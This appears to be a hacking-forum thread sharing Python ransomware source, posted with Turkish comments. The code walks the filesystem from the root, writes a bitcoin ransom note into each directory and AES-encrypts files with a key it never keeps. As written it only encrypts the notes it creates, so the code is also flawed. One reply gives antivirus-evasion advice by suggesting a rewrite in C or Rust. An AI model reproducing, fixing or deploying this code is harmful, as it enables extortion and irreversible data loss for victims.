Python ransomware
by Mr_subProcess - Wednesday March 12, 2025 at 10:37 AM
#11
(Mar 12, 2025, 10:37 AM)Mr_subProcess Wrote: import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend

# AES için 32 byte anahtar oluştur
key = os.urandom(32)  # AES-256 için 32 byte
iv = os.urandom(16)  # 16 byte IV

# Şifreleme fonksiyonu
def encrypt_file(filepath, key, iv):
    try:
        # Dosya içeriğini oku
        with open(filepath, "rb") as file:
            plaintext = file.read()

        # PKCS7 padding ile 16 byte bloklara tamamlama
        padder = padding.PKCS7(128).padder()
        padded_data = padder.update(plaintext) + padder.finalize()

        # AES-256 CBC ile şifreleme
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        ciphertext = encryptor.update(padded_data) + encryptor.finalize()

        # Şifrelenmiş veriyi tekrar dosyaya yaz
        with open(filepath, "wb") as file:
            file.write(iv + ciphertext)  # IV başa eklenir

    except:
        pass  # Hata olursa devam et

# Ana kod bloğu
def main():
    try:
        name = "readme.txt"
        file_list = []  # Şifrelenecek dosyalar için liste
       
        # / dizininde gezip her dizindeki dosyaları listeye ekle
        for root, dirs, files in os.walk("/"):
            dd = os.path.join(root, name)  # Dosya yolu oluşturuluyor

            try:
                # Dosyayı oluştur ve içine mesaj yaz
                with open(dd, "w") as file:
                    file.write("if you want to decrypt the password send 0.0015 bits to this bitcoin account")

                file_list.append(dd)  # Dosya listesini kaydet

            except PermissionError:
                continue  # Hata alınırsa atla

        #  Listeye eklenen tüm dosyaları şifrele
        for file_path in file_list:
            encrypt_file(file_path, key, iv)

    except:
        pass  # Beklenmedik hata olursa devam et

# Ana fonksiyonu çalıştır
main()

i think you are turkish, bende türküm kankam başarılarının devamını diliyorum atıl samancıoğlunun kursundan yapmışsın sanırım, uzun süredir python ve c üzerinde çalışıyorum sorun olursa lainebur3sh hesabına pm atabilirsin <3
Reply
#12
PYTHON?, better C or rust, python .exes get so flagged by AV
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Bypass Cookies Encryption | Working FrancisMDouble 8 1,117 Today, 12:43 AM
Last Post: 0x0xGunger998
  Malware On Steroids 0neSh0t 348 24,353 Today, 12:34 AM
Last Post: 0x0xGunger998
  [ LIST ] 5 FREE STEALERS WITH PROS/CONS elix 391 15,493 Today, 12:30 AM
Last Post: 0x0xGunger998
  Malware Development MD MZ E Book Mandala 51 2,065 Today, 12:28 AM
Last Post: 0x0xGunger998
  3 sektor7 free courses NEO123 50 3,471 Today, 12:25 AM
Last Post: 0x0xGunger998

Forum Jump:


 Users browsing this forum: 1 Guest(s)